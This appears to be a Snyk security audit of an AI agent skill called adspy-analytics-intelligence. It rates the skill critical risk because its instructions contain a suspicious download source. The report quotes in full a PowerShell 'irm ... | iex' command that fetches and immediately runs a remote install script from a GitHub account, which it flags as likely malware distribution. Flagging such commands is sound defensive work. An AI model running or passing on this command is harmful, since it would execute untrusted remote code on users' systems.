adspy-analytics-intelligence
Fail
Audited by Snyk on Jun 25, 2026
Risk Level: CRITICAL
Full Analysis
CRITICAL E005: Suspicious download URL detected in skill instructions.
- Suspicious download URL detected (high risk: 1.00). The raw GitHub PowerShell script (raw.githubusercontent.com/.../install.ps1) is directly runnable via "irm | iex" (remote code execution), the GitHub repo user appears to be an unfamiliar account, and the short/unknown domain (ara.so) alongside these direct executable sources are high-risk indicators for malware distribution.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The Windows installation command downloads and immediately executes a remote PowerShell script (irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iex), which fetches and runs external code at install/runtime and is therefore a high-risk runtime dependency.
Issues (2)
E005
CRITICALSuspicious download URL detected in skill instructions.
W012
MEDIUMUnverifiable external dependency detected (runtime URL that controls agent).
Audit Metadata